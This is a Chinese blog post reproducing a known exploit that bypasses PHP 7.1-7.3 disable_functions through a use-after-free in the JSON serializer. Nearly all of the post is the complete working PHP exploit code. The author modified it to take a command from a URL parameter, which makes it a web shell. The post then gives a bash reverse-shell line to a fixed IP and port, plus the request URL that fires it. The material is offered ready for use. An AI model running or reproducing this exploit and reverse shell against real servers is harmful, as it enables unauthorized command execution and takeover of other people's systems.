PHP 7.1-7.3 disable_functions bypass

作者: print("") 分类: 漏洞复现 发布时间: 2019-09-29 14:23

我只是代码的搬运工  =。= 

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/README.md

PHP 7.1-7.3 disable_functions bypass

This exploit utilises a use after free vulnerability in json serializer in order to bypass disable_functions and execute a system command. It should be fairly reliable and work on all server apis, although that is not guaranteed.

弄一个PHP 7.1

禁用了如下函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,pcntl_exec,mail

然后上代码

<?php

if($_GET['cmd']){
	$cmd =$_GET['cmd'];
}
else{
	$cmd ='whoami';
}
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
    public static $leak;
}
class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }
    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;
        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }
    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;
        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);
        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);
            if($p_type == 0x6474e552) { # PT_GNU_RELRO
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');
        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();
        $_protector = $this->ptr2str(0, 78);
        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');
        unset($y[0]);
        unset($p);
        $protector = ".$_protector";
        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000
        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }
        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();
        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;
        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }
        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }
        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;
        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }
        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }
        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }
        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
        $spl1->offsetGet($cmd);
        exit();
    }
}
$y = [new Z()];
json_encode([&$y]);

加了一个$_GET[‘cmd’]

测试

反弹shell 可以使用执行shell脚本的方式反弹。因为url编码可能会导致一些小问题

例如:1.sh

bash -i >& /dev/tcp/192.168.20.159/8813 0>&1

那么只需要

http://192.168.20.159/poc.php?cmd=bash 1.sh

就可以成功反弹shell

参考:https://bugs.php.net/bug.php?id=77843

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